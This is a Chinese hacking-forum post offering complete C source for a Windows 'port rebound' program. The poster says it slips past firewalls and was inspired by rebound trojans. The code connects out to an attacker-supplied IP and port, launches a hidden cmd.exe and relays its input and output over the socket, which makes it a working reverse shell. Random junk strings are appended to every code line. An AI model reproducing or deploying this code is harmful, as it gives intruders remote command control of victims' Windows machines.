社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4867阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gMB/ ~g5b0  
Y}hz UKJ  
/* ============================== qYbPF|Y=Z  
Rebound port in Windows NT <xaB$}R  
By wind,2006/7 ,&aD U  
===============================*/ VCCG_K9'  
#include yiAusl;  
#include Zoyo:vv&  
jx-8%dxtZ  
#pragma comment(lib,"wsock32.lib") N,?D<NjXl  
dY$jg  
void OutputShell(); *rmwTD"  
SOCKET sClient; 9 :FzSD  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; uTIl} N  
tg%C>O  
void main(int argc,char **argv) nTH!_S>b(Y  
{ tRzo}_+N  
WSADATA stWsaData; #e5*Dr8  
int nRet; a4D4*=!G0  
SOCKADDR_IN stSaiClient,stSaiServer; &k0c|q]  
gt:Ot0\7  
if(argc != 3) (IIOVv 1J  
{ 2@+ MT z  
printf("Useage:\n\rRebound DestIP DestPort\n"); %q5iy0~P  
return; 5%%A2FrB.S  
} OJ4-p&1  
5c+7c@.  
WSAStartup(MAKEWORD(2,2),&stWsaData); t.]c44RY  
r/B iR0$E  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >a5avSn  
tX.{+yyU  
stSaiClient.sin_family = AF_INET; 3I.0uLjg^  
stSaiClient.sin_port = htons(0); d +Bz pS@p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d$*SVd:  
}RY&f4&GV,  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -E>se8%"  
{ Ykt(%2L  
printf("Bind Socket Failed!\n"); <B =!ZC=n  
return; ey3;rY1  
} hXM2B2[  
MESPfS+  
stSaiServer.sin_family = AF_INET; aShZdeC*f  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i4*!t.eI  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); o]@g%_3X  
m8ydX6~max  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H=k`7YN  
{ ;3k6_ub  
printf("Connect Error!"); G9uWn%5r  
return; KqT~MPl  
} n\D3EP<s  
OutputShell(); D:Y `{{  
} l5d> YTK+5  
,wlSNb@'  
void OutputShell() >`'>,n |  
{ w=H4#a?fc  
char szBuff[1024]; SsF 5+=A  
SECURITY_ATTRIBUTES stSecurityAttributes; $/uNV1 ]o  
OSVERSIONINFO stOsversionInfo; t?j2Rw3f`I  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hhvP*a_J  
STARTUPINFO stStartupInfo; BA+:}81&<q  
char *szShell; p; ZEz<M  
PROCESS_INFORMATION stProcessInformation; Q|W!m0XO  
unsigned long lBytesRead; : j m|)  
7OOod1  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tHo0q<.oX  
5`3f"(ay/  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); % 1p4K)  
stSecurityAttributes.lpSecurityDescriptor = 0; |uE _aFQs  
stSecurityAttributes.bInheritHandle = TRUE; X@7K#@5  
07dUBoq  
PX1Scvi  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dLek4q `l  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6uH1dsD  
pY9>z;qD  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o ) FjWf;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FE/2.!]&o  
stStartupInfo.wShowWindow = SW_HIDE; 8Bnw//_pT  
stStartupInfo.hStdInput = hReadPipe; ^D0BGC&&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "@[xo7T  
;ckv$S[p  
GetVersionEx(&stOsversionInfo); 7l})`> k  
K!9rH>`\  
switch(stOsversionInfo.dwPlatformId) r,4V SyZF\  
{ 9/k?Lv  
case 1: (dC<N3  
szShell = "command.com"; &sx|sLw)  
break; |k4ZTr]?  
default: q61 rNOw_  
szShell = "cmd.exe"; =w.#j-jR  
break; g loo].z  
} h;KI2k_^  
(A*r&Ak[  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V8xv@G{;  
1% )M-io  
send(sClient,szMsg,77,0); /z4xq'<  
while(1) xIo7f  
{ VrokEK*qbY  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }m<)$.x|P  
if(lBytesRead) dMwVgc:  
{ [vaG{4m  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^IGTGY]s  
send(sClient,szBuff,lBytesRead,0); H\3CvFm  
} m(3bO[u1  
else  1Nk}W!v  
{ vN7ihe[C  
lBytesRead=recv(sClient,szBuff,1024,0); {fMrx1  
if(lBytesRead<=0) break; 'ej{B0rE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V_(?mC  
} Dg#Ab8  
} ^tuJM:  
ZH%[wQ~4  
return; +>OEp * j  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八